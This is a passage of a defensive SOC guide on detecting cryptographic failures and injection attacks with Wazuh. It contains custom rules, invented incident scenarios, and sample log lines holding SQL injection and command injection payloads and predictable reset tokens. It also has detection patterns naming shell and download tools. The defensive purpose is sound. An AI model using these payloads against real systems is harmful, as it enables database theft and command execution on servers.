What can happen after successful exploitation: Exposure of passwords, card data, health data and personal data; session or token forgery; account takeover; regulatory fines under laws such as GDPR and standards such as PCI DSS.

Business assets affected: customer personal data, payment data, password databases, API tokens, TLS private keys, backups.

How Cryptographic Failures Are Exploited

  1. What the attacker needs first: Usually another position or foothold, such as network position (public Wi Fi, a compromised router), a stolen database or backup, a leaked key, or the ability to request many tokens and study them.
  2. What is targeted: Login and payment traffic, password storage, token generation (password reset, session IDs), key files, backups.
  3. What the attacker sends or changes:
    1. Observes or downgrades unencrypted traffic.
    2. Cracks weak password hashes offline.
    3. Requests several tokens, finds the pattern, and predicts the next one.
    4. Uses a leaked key to decrypt data or sign tokens.
  4. What the vulnerable application does: Sends data in clear text, accepts weak protocols, issues predictable tokens, or stores data with weak protection.
  5. How the attacker exploits it: Reads intercepted data, logs in with cracked passwords, or uses a predicted reset token.
  6. What happens on success: Data disclosure or account takeover.
  7. Evidence left behind: This is the hard part. Offline cracking leaves no logs at the victim. Evidence is often indirect: sensitive values in URLs, logins over plain HTTP, weak TLS versions negotiated, reads of key files by unusual processes, many reset requests followed by successful resets, or logins from new places after a database leak.

Cryptographic Failure Attack Examples

Example 1: Predictable password reset tokens

  1. Situation: A membership website creates password reset tokens from the current time in seconds plus the user ID, then encodes them. This is not a CSPRNG (CWE-338).
  2. Attacker objective: Take over a target user’s account.
  3. Attacker actions: Requests resets for their own account several times, notices that tokens change in a predictable way, then requests a reset for the victim and computes likely tokens for that second.
  4. Representative access log entries:
203.0.113.60 - - [06/Nov/2026:09:00:01 +0000] "POST /password/forgot HTTP/1.1" 200 312 "-" "Mozilla/5.0"
203.0.113.60 - - [06/Nov/2026:09:00:03 +0000] "GET /password/reset?token=MTc5MzAwMDAwMV80MjE= HTTP/1.1" 400 210 "-" "python-requests/2.31.0"
203.0.113.60 - - [06/Nov/2026:09:00:03 +0000] "GET /password/reset?token=MTc5MzAwMDAwMl80MjE= HTTP/1.1" 200 2048 "-" "python-requests/2.31.0"
  1. Vulnerable behavior: The server accepts the predicted token.
  2. Attempt versus success: Many 400 responses on /password/reset are attempts. A 200 followed by a POST that sets a new password, and then a login from the attacker IP, shows success.
  3. Impact: Account takeover. The root cause is weak randomness, which is A04. The visible symptom (account takeover) is close to A07, which is why the category comparison section compares them.

Example 2: Sensitive data sent without proper protection

  1. Situation: An insurance company has an old claims portal. The main site uses HTTPS, but an old HTTP virtual host still accepts logins on port 80, and a search feature puts the policy holder’s national ID in the URL.
  2. Attacker objective: Collect credentials and personal data from traffic or from logs and browser history.
  3. Representative evidence:
10.30.8.21 - - [06/Nov/2026:10:12:44 +0000] "POST /login HTTP/1.1" 302 0 "-" "Mozilla/5.0"
10.30.8.21 - - [06/Nov/2026:10:13:02 +0000] "GET /claims/search?national_id=198704115532 HTTP/1.1" 200 4410 "-" "Mozilla/5.0"

(The first line was written by the HTTP only virtual host log, /var/log/nginx/http_access.log.)

  1. Vulnerable behavior: Credentials travel in clear text on port 80. The national ID is placed in the URL, so it is stored in proxy logs, server logs and browser history.
  2. Attempt versus success: These logs show the weakness is being used by normal users, not an attack. Exploitation would be someone actually capturing the traffic or reading the logs, which usually needs network or host evidence.
  3. Impact: Credential theft and personal data exposure; likely compliance violations.

Example 3: Weak password storage

A company stores passwords as unsalted MD5. A database backup is stolen through a different weakness. Attackers crack most passwords offline in hours and use them on the company’s site and on other sites. The SOC sees no cracking activity, only a later wave of successful logins from new IPs. The root cause of the mass compromise is A04 (weak hashing); the initial theft may belong to another category.

Cryptographic Failure Indicators and Evidence

IndicatorWhere you see itStrength
Passwords, card numbers, national IDs or tokens in URL parametersAccess logsStrong evidence of a weakness (data exposure), not of an attack
POST /login on an HTTP only log or port 80Access logs per virtual hostStrong evidence of a weakness
TLS 1.0, TLS 1.1 or SSLv3 negotiatedWeb server or load balancer logs that record the TLS protocolStrong evidence of weak configuration
SCA check failure on TLS or cipher settingsWazuh SCA (web server policies)Strong evidence of weak configuration
Unusual process reading TLS private key filesauditd file watch, SysmonStrong sign of key theft attempt
Many reset token attempts with 400 followed by 200Access logsSuspicious to strong
Sudden wave of successful logins from new IPs for many accountsAuthentication logsSuspicious, may follow offline cracking
Large download of a database backup or exportAccess logs, database audit logs, DLPStrong sign of possible theft
Hardcoded keys found in a repositorySecret scanning toolsStrong evidence of weakness

How to Detect Cryptographic Failures with Wazuh

Required Log Sources

SourceNecessary or optionalWhy
Web access logs, separated by HTTP and HTTPS virtual host, or including the schemeNecessaryShows plain HTTP use and data in URLs
Web server or load balancer logs that record the negotiated TLS protocol and cipherRecommendedShows weak TLS in real use
Wazuh SCA with web server policiesNecessaryFinds weak protocol and cipher settings
auditd (Linux) or Sysmon (Windows) watching key filesRecommendedShows who reads private keys
Authentication and password reset logsRecommendedShows token abuse and post cracking logins
Database audit logsOptionalShows bulk reads of sensitive tables
Secret scanning and certificate monitoring toolsOptional, externalFind leaked keys and expiring or weak certificates

What Wazuh Can and Cannot Detect

  1. Directly with built in features:
    1. SCA policies such as cis_nginx_1, cis_apache_24 and cis_iis_10 include checks on protocols and ciphers. Built in rules 19007 and 19011 report failed and regressed checks.
    2. FIM (rules 550, 553, 554) detects changes to certificate and key files.
    3. Vulnerability Detection finds outdated crypto libraries (for example vulnerable OpenSSL versions). That overlaps with A03.
  2. Needs custom rules: sensitive parameters in URLs, logins on plain HTTP, weak TLS versions in logs, reads of key files.
  3. Needs application logs: token generation and reset flows.
  4. Needs external tools: TLS scanning, certificate monitoring, secret scanning, network traffic analysis.
  5. Cannot be reliably detected by Wazuh alone: offline password cracking, passive eavesdropping on unencrypted traffic, and whether an algorithm inside the code is weak. These need code review, testing and network monitoring.
  6. Suspicious versus proof: Wazuh can prove that a weakness is present (for example a password= parameter in URLs). Proving that an attacker exploited a crypto weakness usually needs other evidence, such as stolen data appearing elsewhere or impossible logins.

Wazuh Rules for Cryptographic Failures

All rules below are custom rules (examples).

Rule logic:

  1. 100401: Sensitive parameter names appear in a URL query string.
  2. 100402: A POST to /login was written to the HTTP only access log (clear text credentials).
  3. 100403: A process other than the web server read a TLS private key file, based on an auditd watch with the key tls_key_read.
  4. 100404: A JSON access log shows a deprecated TLS protocol was negotiated.
<group name="custom_owasp,owasp_a04,">

  <!-- Custom rule (example): sensitive data in URL query string -->
  <rule id="100401" level="7">
    <if_sid>31100</if_sid>
    <url type="pcre2">(?i)[?\x26](password|passwd|pwd|card_number|cc_number|cvv|national_id|ssn|api_key|access_token)=</url>
    <description>OWASP A04: Sensitive parameter sent in URL: $(url)</description>
  </rule>

  <!-- Custom rule (example): login submitted over plain HTTP -->
  <rule id="100402" level="8">
    <if_sid>31100</if_sid>
    <location>/var/log/nginx/http_access.log</location>
    <protocol>^POST$</protocol>
    <url type="pcre2">(?i)^/(login|signin|auth)</url>
    <description>OWASP A04: Credentials submitted over unencrypted HTTP from $(srcip)</description>
  </rule>

  <!-- Custom rule (example): TLS private key read by an unexpected process -->
  <rule id="100403" level="12">
    <if_sid>80700</if_sid>
    <field name="audit.key">^tls_key_read$</field>
    <field name="audit.exe" type="pcre2" negate="yes">/(nginx|apache2|httpd)$</field>
    <description>OWASP A04: TLS private key read by unexpected process $(audit.exe)</description>
    <mitre>
      <id>T1552.004</id>
    </mitre>
  </rule>

  <!-- Custom rule (example): deprecated TLS version negotiated (JSON access log) -->
  <rule id="100404" level="8">
    <decoded_as>json</decoded_as>
    <field name="log_type">^web_access$</field>
    <field name="ssl_protocol" type="pcre2">^(SSLv3|TLSv1|TLSv1\.1)$</field>
    <description>OWASP A04: Deprecated protocol $(ssl_protocol) negotiated by $(client_ip)</description>
  </rule>

</group>

Supporting configuration (examples):

  1. Linux audit rule on the web server, so auditd records reads of the key folder with the key tls_key_read:
auditctl -w /etc/ssl/private/ -p r -k tls_key_read
  1. Wazuh agent collects the audit log:
<localfile>
  <log_format>audit</log_format>
  <location>/var/log/audit/audit.log</location>
</localfile>
  1. For 100404, NGINX writes a JSON access log. $ssl_protocol is a standard NGINX variable. The key log_type is added so the rule only matches this log:
log_format json_tls escape=json '{"log_type":"web_access","client_ip":"$remote_addr","request":"$request","http_status":"$status","ssl_protocol":"$ssl_protocol"}';
access_log /var/log/nginx/access_tls.json json_tls;

Notes: Rule 80700 is the built in auditd group rule (decoded as auditd), and audit.key and audit.exe are fields produced by the built in audit decoder. MITRE T1552.004 is “Unsecured Credentials: Private Keys”. The JSON key names (client_ip, ssl_protocol) were chosen to avoid Wazuh static field names such as srcip, so they behave as ordinary decoded fields.

Why these levels: URL data exposure (100401) is a weakness to report, level 7. Clear text logins (100402) and weak TLS use (100404) are real exposures, level 8. A private key read by an unknown process (100403) can mean key theft, level 12.

How to test:

  1. Paste into wazuh-logtest:
10.30.8.21 - - [06/Nov/2026:10:13:02 +0000] "GET /claims/search?national_id=198704115532 HTTP/1.1" 200 4410 "-" "Mozilla/5.0"

Expected: rule 100401.

  1. Rule 100402 depends on location, which wazuh-logtest sets to a default value, so test it on a lab agent by sending a POST /login to the HTTP virtual host.
  2. For 100403, run cat on a test key file on a lab host and check for the alert.
  3. For 100404, paste a JSON line such as:
{"log_type":"web_access","client_ip":"198.51.100.31","request":"GET / HTTP/1.1","http_status":"200","ssl_protocol":"TLSv1.1"}

Expected: decoder json, rule 100404.

Expected alert (representative, shortened):

{
  "rule": { "level": 12, "id": "100403", "description": "OWASP A04: TLS private key read by unexpected process /usr/bin/cp" },
  "agent": { "name": "claims-web-01" },
  "decoder": { "name": "auditd" },
  "data": { "audit": { "key": "tls_key_read", "exe": "/usr/bin/cp", "uid": "1003", "file": { "name": "/etc/ssl/private/claims.key" } } }
}

Investigating the Alert in Wazuh

  1. Find the alert: Threat Hunting, filter rule.groups:owasp_a04 or the specific rule ID. Check the Configuration Assessment view for TLS related checks.
  2. Fields to inspect: data.url (sensitive parameters), location (which virtual host log), data.ssl_protocol, data.client_ip, data.audit.exe, data.audit.uid, data.audit.file.name.
  3. Source IP: data.srcip or data.client_ip. Internal users on an old portal are victims of the weakness, not attackers.
  4. Affected endpoint: agent.name, virtual host from location.
  5. User account: For key reads, map data.audit.uid and data.audit.auid (login user ID) to a person.
  6. Timestamps: First and last occurrence. How long was clear text use happening?
  7. Correlate: Key read followed by outbound transfer from the same host; reset token attempts followed by password change and new login.
  8. Success check: For key theft, look for copies of the key, outbound transfers, or certificates used elsewhere. For token abuse, look for successful resets.
  9. Impact: Which data types were exposed, for how many users and for how long.
  10. Document: Weakness, exposure window, affected data, recommended crypto fix.

Useful Wazuh Dashboard Queries

QueryWhat it findsWhat to look for
rule.id:100401Sensitive data in URLsWhich parameters and endpoints
rule.id:100402Clear text loginsHow many users, still happening or not
rule.id:100404Weak TLS negotiatedWhich clients still need old protocols
rule.id:100403Unexpected key readsProcess, user, next actions on the host
rule.id:(19007 or 19011) and data.sca.check.title:*TLS*Failed SCA checks about TLSHosts that allow weak protocols
data.url:*password/reset* and data.id:400Failed reset token attemptsBursts from one IP
syscheck.path:/etc/ssl/*FIM events on certificate and key foldersUnexpected certificate replacement

Detection Limitations

  1. Offline cracking and passive sniffing leave no logs at the victim.
  2. Wazuh does not inspect encrypted traffic; it only sees what servers log.
  3. The negotiated TLS version is not in default access logs; you must add it.
  4. Weak algorithms inside code are found by code review and testing, not SIEM rules.
  5. False positives: health checks on HTTP, internal legacy clients, backup jobs that read key files.
  6. Improve visibility: Log TLS protocol and cipher, separate HTTP and HTTPS logs, audit key file access, run external TLS scans, enable secret scanning in repositories, and log password reset events with outcome.

Practical SOC Investigation Scenario: Predictable Password Reset Tokens

Hypothetical scenario: This case study is an invented enterprise example that illustrates the investigation method. It does not describe a real organization or breach.

Organization and affected application. A membership organization runs a public portal. Wazuh collects the NGINX access logs and the application logs for logins and password resets.

Initial suspicious activity. One IP requests a password reset, then fires dozens of reset token values at the reset endpoint within seconds.

Initial detection. Built in rule 31151 (“Multiple web server 400 error codes from same source ip”) fires for 203.0.113.60. All of the errors are on /password/reset.

Logs examined. The analyst reviews the access logs for the IP and the application logs for reset and login events, and the developers explain how reset tokens are generated.

Suspicious indicators. The IP sends one POST /password/forgot, then 60 GET /password/reset requests with different token values in four seconds. 59 return 400 and one returns 200. A POST /password/reset and a successful POST /login follow.

Event correlation. The application log shows that the reset was for a member who never requested one, and the member confirms this. Decoding the token values (they are only Base64 encoded) reveals a timestamp plus the user ID, not output from a cryptographically secure random generator.

Assessment of successful exploitation. The 59 failures are attempts. The 200, the password change, the member’s confirmation and the attacker’s login together confirm a successful account takeover. A 90 day retrospective search finds the same pattern from two other IPs against 14 accounts, with 6 successes.

Potential business impact. At least seven member accounts are confirmed as taken over, with exposure of personal data and account functions.

Incident response actions. The SOC escalates the case as High. It recommends blocking the IPs, forcing password resets and invalidating sessions for the affected members. Support and privacy teams contact the members.

Recommended remediation. Developers generate tokens with a CSPRNG, make them single use and short lived, and add rate limiting to the reset endpoint. Verification confirms that new tokens show no pattern and that repeated failed attempts are blocked. The root cause is weak randomness, which is A04 Cryptographic Failures (CWE-338). The account takeover symptom relates to A07, and the report mentions both.

Incident Response Process

StepCategory specific actionWho
Initial triageIs this a weakness being used normally, an attack attempt, or confirmed abuse?SOC L1
Evidence collectionLogs showing exposure, TLS data, SCA results, key file events, token samplesSOC L1 or L2
Event correlationLink token attempts to resets and logins; key reads to outbound transfersSOC L2
Severity assessmentWeak config only (Medium), active data exposure (High), key theft or mass account takeover (Critical)SOC L2
Impact assessmentData types, number of users, exposure windowSOC with app owner and privacy team
EscalationIncident lead, app owner, PKI or certificate owner, privacy officerSOC
Containment recommendationDisable HTTP, revoke and reissue certificates, rotate keys, force password resets, invalidate tokensSOC recommends; admins and developers execute
CoordinationDevelopers fix algorithms and token generation; admins fix TLS configDevelopers, admins
Remediation verificationSCA passes, TLS scan shows only strong protocols, no sensitive data in new logsSOC
Documentation and closureRoot cause, affected data, compliance notes, new detectionsSOC and incident lead

Prevention and Remediation

  1. Classify data and protect sensitive data according to its class.
  2. Encrypt all data in transit with TLS 1.2 or higher with forward secrecy; enforce HTTPS with HSTS.
  3. Encrypt sensitive data at rest; do not store data you do not need.
  4. Store passwords with Argon2, scrypt, yescrypt or PBKDF2 with a work factor and salt.
  5. Use a CSPRNG for all tokens and IDs that must be unpredictable.
  6. Keep keys out of code; store important keys in an HSM or cloud key service; rotate them.
  7. Disable caching of responses with sensitive data.
  8. Never put sensitive data in URLs.
  9. Remove MD5, SHA1, DES, SSLv3, TLS 1.0 and TLS 1.1.

A05:2025 Injection

Official page: OWASP A05:2025 Injection

What Is Injection?

Definition: Injection happens when untrusted user input is sent to an interpreter (a database, the operating system shell, a browser, an LDAP server) and part of that input is executed as a command instead of being treated only as data.

Key terms:

  1. Interpreter is any component that reads text and executes it: SQL database, OS shell, browser (JavaScript), LDAP server, template engine.
  2. SQL injection (SQLi, CWE-89) changes a database query.
  3. OS command injection (CWE-78) runs system commands on the server.
  4. Cross Site Scripting (XSS, CWE-79) injects script into a web page that runs in other users’ browsers. OWASP keeps XSS inside A05.
  5. Parameterized query (prepared statement) sends the query structure and the data separately, so data cannot change the structure. This is the main defense.
  6. Payload is the attacker’s crafted input.
  7. Blind SQL injection is when the attacker cannot see query results and infers them from true or false differences or time delays.
  8. Prompt injection in large language model applications is a related class covered separately in the OWASP LLM Top 10.

What weakness it represents: User data is not validated, filtered or escaped, and dynamic queries or commands are built by concatenating strings. OWASP reports injection has the greatest number of CVEs of any category (37 CWEs), with more than 30,000 CVEs for XSS and more than 14,000 for SQL injection.

Why it happens:

  1. Developers build queries by string concatenation.
  2. Input validation is missing or only done in the browser.
  3. Frameworks are trusted blindly, for example concatenating input into an ORM or HQL query.
  4. User input is passed to shell commands for convenience.

Why attackers target it: It is well known, highly automated (tools test every parameter), and the impact can be total: full database dump or server control.

What can happen after successful exploitation: Data theft, data modification or deletion, authentication bypass, command execution on the server, and for XSS, session theft and actions performed as the victim.

Business assets affected: databases with customer and payment data, servers, user sessions and accounts.

How Injection Attacks Work

  1. What the attacker needs first: Any input that reaches an interpreter: URL parameters, form fields, JSON bodies, headers, cookies.
  2. What part is targeted: Search boxes, login forms, filters, report generators, APIs, “ping” or “lookup” tools, comment fields (XSS).
  3. What the attacker sends: Characters with special meaning for the interpreter: quotes ', comments --, keywords UNION SELECT, shell separators ; | &&, HTML tags <script>.
  4. What the vulnerable application does: Inserts the input directly into the query or command string.
  5. How the attacker exploits it: First tests with a quote to cause an error, then crafts payloads to extract data, bypass login, or run commands. Usually automated.
  6. What happens on success: The database returns extra rows, the login is bypassed, a command runs, or the script runs in a victim’s browser.
  7. Evidence left behind: Attack keywords in URLs, bursts of 500 errors (syntax errors), database error messages in application logs, unusually large responses, time delays, and for command injection, new processes started by the web server user.

SQL Injection, Command Injection and XSS Examples

  1. Situation: An online electronics store has /products?category= that builds the SQL query by concatenation.
  2. Attacker objective: Extract the customer table.
  3. Attacker actions: Tests with a single quote, sees a 500 error, then uses a UNION SELECT payload.
  4. Representative access log entries:
198.51.100.23 - - [07/Nov/2026:13:40:01 +0000] "GET /products?category=laptops' HTTP/1.1" 500 612 "-" "sqlmap/1.8"
198.51.100.23 - - [07/Nov/2026:13:40:05 +0000] "GET /products?category=laptops%27%20union%20select%20null,null,null--%20 HTTP/1.1" 500 640 "-" "sqlmap/1.8"
198.51.100.23 - - [07/Nov/2026:13:41:12 +0000] "GET /products?category=laptops%27%20union%20select%20email,password_hash,null%20from%20customers--%20 HTTP/1.1" 200 184220 "-" "sqlmap/1.8"
  1. Vulnerable behavior: The query becomes SELECT name, price, stock FROM products WHERE category='laptops' UNION SELECT email, password_hash, null FROM customers -- '.
  2. Attempt versus success: The 500 lines are attempts (the query broke). The final 200 with 184 KB compared with a normal 15 KB category page strongly suggests data was returned. Confirmation comes from database audit logs or by reproducing safely in a test environment.
  3. Impact: Customer emails and password hashes stolen.

Example 2: OS command injection in a network diagnostic page

  1. Situation: An internal IT portal has a “check host” feature that runs nslookup with the user’s input, as in the OWASP example.
  2. Attacker objective: Run commands on the server.
  3. Example request:
GET /tools/lookup?domain=example.com;id HTTP/1.1
Host: itportal.corp.example
  1. Vulnerable behavior: The server runs nslookup example.com;id, so id also runs.
  2. Attempt versus success: The URL alone is an attempt. Success is proven by process telemetry: the web server user (for example www-data) started /usr/bin/id or a shell. The response size or content may also show command output.
  3. Impact: Code execution on an internal server, possible lateral movement.

Example 3: Stored XSS in a support ticket

A customer writes a support ticket containing <script> that sends the reader’s session cookie to an external site. When a support agent opens the ticket, the script runs in the agent’s browser. Evidence: the payload in the stored ticket, and requests from the agent’s browser to an unknown domain. Impact: support agent session hijacked.

Injection Indicators and Evidence

IndicatorWhere you see itStrength
SQL keywords and quotes in parameters (union select, ' or '1'='1, sleep()Access logs, WAFSuspicious attempt
Scanner user agents such as sqlmapAccess logsSuspicious, shows automated testing
Bursts of 500 errors from one IP on one endpointAccess logsSuspicious, often shows syntax errors from probing
Database error messages (SQLSTATE, ORA-, “unclosed quotation mark”)App and database error logsStrong evidence that input reached the query
200 response with much larger size than normal after injection payloadsAccess logsStrong indicator of data extraction
Response times increasing after time based payloadsApp or proxy logs with response timeSuspicious to strong (blind SQLi)
Shell separators and commands in parameters (;id, `whoami`)Access logs
Web server user spawning sh, bash, cmd.exe, powershell.exeauditd, SysmonStrong evidence of command execution
Unusual database queries reading many rows from sensitive tablesDatabase audit logsStrong
<script> or onerror= in parameters or stored contentAccess logs, WAF, app logsSuspicious (XSS attempt)

How to Detect SQL Injection and Other Injection Attacks with Wazuh

Required Log Sources

SourceNecessary or optionalWhy
Web access logsNecessaryBuilt in injection rules analyze the URL
Web server and application error logsStrongly recommendedDatabase errors show input reached the query
WAF logs (for example ModSecurity)RecommendedSees request bodies, which access logs do not
Database audit logsRecommendedProves which queries ran and how many rows
auditd or Sysmon process events on web serversNecessary for command injection proofShows processes started by the web server
Network logs from web and database serversOptionalShows data leaving

What Wazuh Can and Cannot Detect

  1. Directly with built in rules (from 0245-web_rules.xml, all children of 31100):
    1. 31103 (level 7) “SQL injection attempt.” matches URL patterns such as union%20, select+, %20from%20, null,null, xp_cmdshell.
    2. 31164, 31165, 31170, 31171 (level 6) “SQL injection attempt.” match other encodings and patterns such as =%27, %2csleep, sysdate().
    3. 31105 (level 6) “XSS (Cross Site Scripting) attempt.” matches %3Cscript, script>, SRC=javascript, %20ONLOAD= and others.
    4. 31104 (level 6) “Common web attack.” matches path traversal and command patterns such as ../.., cmd.exe, wget%, echo;.
    5. 31106 (level 6) “A web attack returned code 200 (success).” fires when 31103, 31104 or 31105 match and the status is 200.
    6. 31152, 31153, 31154 (level 10) fire when the same source IP triggers many SQL injection (8 in 120 seconds), common web attack (10 in 120 seconds) or XSS (10 in 120 seconds) attempts.
    7. 31166 to 31169 detect Shellshock patterns.
    8. 31122 (level 5) and 31162 (level 10) cover 500 errors, single and repeated from one IP.
  2. Very important limitation of 31106: “returned code 200 (success)” means only that the HTTP status was 200. Many applications return 200 for error pages or search results with no data. It is not proof of exploitation. Check response size and application or database logs.
  3. Needs custom rules: OS command injection patterns beyond the built ins, database error messages in application logs, web server processes spawning shells.
  4. Needs WAF or app logs: Injection in POST bodies and JSON APIs, which never appear in access logs.
  5. Cannot be reliably detected by Wazuh alone: heavily encoded or obfuscated payloads, injection in bodies without WAF logs, second order injection (stored first, executed later), and DOM based XSS that happens only in the browser.

The official Wazuh proof of concept guide “Detecting an SQL injection attack” uses exactly this approach: monitor Apache access logs and expect rule 31103, or 31106 if the response was 200. Source: Wazuh PoC: SQL injection

Wazuh Rules for Injection Detection

Built in rules: 31103, 31104, 31105, 31106, 31152, 31153, 31154 as listed above. Enable them simply by collecting access logs:

<!-- Agent ossec.conf -->
<localfile>
  <log_format>apache</log_format>
  <location>/var/log/apache2/access.log</location>
</localfile>

Custom rules (examples):

  1. 100501: OS command injection patterns in URL parameters.
  2. 100502: Database syntax errors in a JSON application error log.
  3. 100503: On Linux, the web server user started a shell or download tool (auditd).
  4. 100504: On Windows IIS, the worker process w3wp.exe started cmd.exe or powershell.exe (Sysmon).
<group name="custom_owasp,owasp_a05,">

  <!-- Custom rule (example): OS command injection pattern in a parameter -->
  <rule id="100501" level="8">
    <if_sid>31100</if_sid>
    <url type="pcre2">(?i)=[^\x26]*(%3B|;|%7C|\||%60|`|%24%28|\$\()\s*(id|whoami|uname|cat|curl|wget|nc|bash|sh)(%20|\+|$|\x26)</url>
    <description>OWASP A05: Possible OS command injection in URL: $(url)</description>
    <mitre>
      <id>T1190</id>
      <id>T1059</id>
    </mitre>
  </rule>

  <!-- Custom rule (example): database syntax error in application log -->
  <rule id="100502" level="10">
    <decoded_as>json</decoded_as>
    <field name="log_type">^app_error$</field>
    <field name="error" type="pcre2">(?i)(SQLSTATE\[|syntax error.{0,40}SQL|ORA-\d{5}|unclosed quotation mark)</field>
    <description>OWASP A05: Database syntax error in application, possible SQL injection probing from $(client_ip)</description>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>

  <!-- Custom rule (example): web server user started a shell or download tool (Linux auditd) -->
  <rule id="100503" level="12">
    <if_sid>80700</if_sid>
    <field name="audit.key">^web_exec$</field>
    <field name="audit.exe" type="pcre2">/(sh|bash|dash|curl|wget|nc|python3?)$</field>
    <description>OWASP A05: Web server account executed $(audit.exe), possible command injection or web shell</description>
    <mitre>
      <id>T1059.004</id>
      <id>T1505.003</id>
    </mitre>
  </rule>

  <!-- Custom rule (example): IIS worker process started a shell (Windows Sysmon) -->
  <rule id="100504" level="12">
    <if_sid>61603</if_sid>
    <field name="win.eventdata.parentImage" type="pcre2">(?i)\\w3wp\.exe$</field>
    <field name="win.eventdata.image" type="pcre2">(?i)\\(cmd|powershell|pwsh)\.exe$</field>
    <description>OWASP A05: IIS worker process started $(win.eventdata.image)</description>
    <mitre>
      <id>T1505.003</id>
    </mitre>
  </rule>

</group>

Supporting audit rule for 100503 (example, Debian or Ubuntu where www-data has UID 33):

auditctl -a always,exit -F arch=b64 -S execve -F euid=33 -k web_exec

Why these levels: 100501 is an attempt (level 8, a little higher than built in attempts because command injection impact is severe). 100502 shows input reached the database (level 10). 100503 and 100504 show actual execution by the web server, which is a strong sign of compromise (level 12).

How to test:

  1. Paste into wazuh-logtest:
198.51.100.23 - - [07/Nov/2026:13:40:05 +0000] "GET /products?category=laptops%27%20union%20select%20null,null,null--%20 HTTP/1.1" 500 640 "-" "sqlmap/1.8"

Expected: built in rule 31103, level 7, “SQL injection attempt.”

  1. Paste the same line with status 200. Expected: built in rule 31106, level 6 (child of 31103). This shows that the alert level can go down even though the request “succeeded”, which is why you must read the evidence and not only the level.
  2. Paste:
10.40.2.17 - - [07/Nov/2026:15:02:11 +0000] "GET /tools/lookup?domain=example.com;id HTTP/1.1" 200 980 "-" "curl/8.5.0"

Expected: custom rule 100501.

  1. Paste a JSON line for 100502:
{"log_type":"app_error","client_ip":"198.51.100.23","path":"/products","error":"SQLSTATE[42000]: Syntax error or access violation near ''' at line 1"}
  1. Test 100503 on a lab server by running a harmless command as the web user, for example sudo -u www-data /bin/sh -c true.

Expected alert from a built in rule (representative, shortened):

{
  "timestamp": "2026-11-07T13:40:05.214+0000",
  "rule": {
    "level": 7,
    "description": "SQL injection attempt.",
    "id": "31103",
    "mitre": { "id": ["T1190"], "tactic": ["Initial Access"], "technique": ["Exploit Public-Facing Application"] },
    "groups": ["web", "accesslog", "attack", "sql_injection"]
  },
  "agent": { "id": "021", "name": "shop-web-01" },
  "decoder": { "name": "web-accesslog" },
  "data": { "protocol": "GET", "srcip": "198.51.100.23", "id": "500", "url": "/products?category=laptops%27%20union%20select%20null,null,null--%20" },
  "location": "/var/log/apache2/access.log"
}

Investigating the Alert in Wazuh

  1. Find the alert: Threat Hunting, filter rule.groups:sql_injection or rule.id:(31103 or 31106 or 31152).
  2. Fields to inspect: data.url (decode it), data.id, data.srcip, agent.name, full_log (bytes and user agent), rule.firedtimes.
  3. Source IP: Reputation, geolocation, whether it is an approved scanner or penetration tester.
  4. Affected endpoint: agent.name, the parameter being attacked.
  5. User account: If the endpoint requires login, find the session in app logs. For command injection, the process user from auditd (data.audit.euid) or Sysmon.
  6. Timestamps: First probe, first 200, last request. Did the attack stop or continue?
  7. Correlate: Same IP across all endpoints; database audit logs at the same minutes; process events on the web server; outbound connections.
  8. Success check: Compare response sizes with normal; look for database errors (attempt reached the query) versus large data responses (extraction); look for process creation (command execution).
  9. Impact: Which tables or commands? How many rows? Was data sent out?
  10. Document: Decoded payloads, timeline, success evidence, affected data, confidence.

Useful Wazuh Dashboard Queries

QueryWhat it findsWhat to look for
rule.groups:sql_injectionAll SQL injection attempt alertsTop IPs and targeted endpoints
rule.id:31106Attack patterns with status 200Response sizes in full_log
rule.id:(31152 or 31153 or 31154)Repeated attacks from one IPAutomated tools, campaign scope
data.srcip:"198.51.100.23" and data.id:200Successful responses for the attackerCompare bytes per endpoint
rule.id:(31122 or 31162) and data.url:*products*Server errors on the target endpointErrors caused by payloads
rule.id:100503 or rule.id:100504Web server process spawning shellsCommand line and parent process
full_log:*sqlmap*Requests with the sqlmap user agentNote: attackers can change the user agent

Detection Limitations

  1. POST and JSON bodies are not in access logs. API injection is often invisible without WAF or app logs.
  2. Encoding and obfuscation can bypass simple patterns.
  3. Built in patterns create false positives, for example a search for “select from list” or legitimate SQL in an admin reporting tool. Built in rule 31107 already ignores some search URLs for this reason.
  4. 200 status does not equal success; 500 status does not equal failure.
  5. Second order injection and DOM based XSS leave weak or no server logs.
  6. Improve visibility: Deploy a WAF and send its logs to Wazuh, log database errors in JSON, enable database auditing on sensitive tables, monitor web server process creation, and log response time.

Practical SOC Investigation Scenario: SQL Injection Against a Product Catalog

Hypothetical scenario: This case study is an invented enterprise example that illustrates the investigation method. It does not describe a real organization or breach.

Organization and affected application. An electronics retailer runs its storefront on Apache with a MySQL database. Wazuh collects the access logs, the application error logs (JSON) and the database audit logs.

Initial suspicious activity. An external IP sends hundreds of automated requests with SQL syntax in the category parameter.

Initial detection. Built in rule 31152 (“Multiple SQL injection attempts from same source ip”, level 10) fires for 198.51.100.23 against shop-web-01.

Logs examined. The analyst reviews the access logs filtered by the source IP, the custom rule 100502 results (database syntax errors in the application log), the database audit log and the process events on the web server.

Suspicious indicators. About 900 requests arrive in six minutes with the user agent sqlmap, all targeting /products?category=. The early requests return 500. At 13:41:12, a request containing union select email,password_hash,null from customers returns 200 with 184,220 bytes, while normal category pages are about 15,000 bytes.

Event correlation. Custom rule 100502 shows SQLSTATE syntax errors at the same times as the 500 responses, which proves the input reached the SQL query. At 13:41:12 the database audit log records a query against the customers table that returns 2,140 rows, something no product page does. Custom rule 100503 (web server user spawning a shell) does not fire.

Assessment of successful exploitation. The analyst does not treat the 200 status as proof, because rule 31106 only means a web attack pattern received status 200. The oversized response together with the matching database audit record confirms successful SQL injection and data extraction. There is no evidence of command execution on the server.

Potential business impact. 2,140 customer email addresses and password hashes were exposed. How quickly the hashes can be cracked depends on the hashing algorithm, which is an A04 question.

Incident response actions. The SOC escalates the case as Critical and preserves the database logs. It recommends a WAF block and a virtual patch for the vulnerable parameter. Security and privacy teams force password resets for the affected customers and assess breach notification.

Recommended remediation. Developers rewrite the query with parameterized statements. After the fix, the original payloads are replayed safely in a test environment and return normal results, and no new 100502 errors appear in production. The root cause is A05 Injection (CWE-89).

Incident Response Process

StepCategory specific actionWho
Initial triageIs it a scanner, a pen test, or targeted? Is it ongoing? Any 200s or execution?SOC L1
Evidence collectionDecoded payloads, access, WAF, app error and database logs, process eventsSOC L1 or L2
Event correlationProbes, then errors, then large responses, then DB queries, then processes or outbound trafficSOC L2
Severity assessmentBlocked attempts (Low), errors reaching DB (Medium), data extracted (High or Critical), command execution (Critical)SOC L2
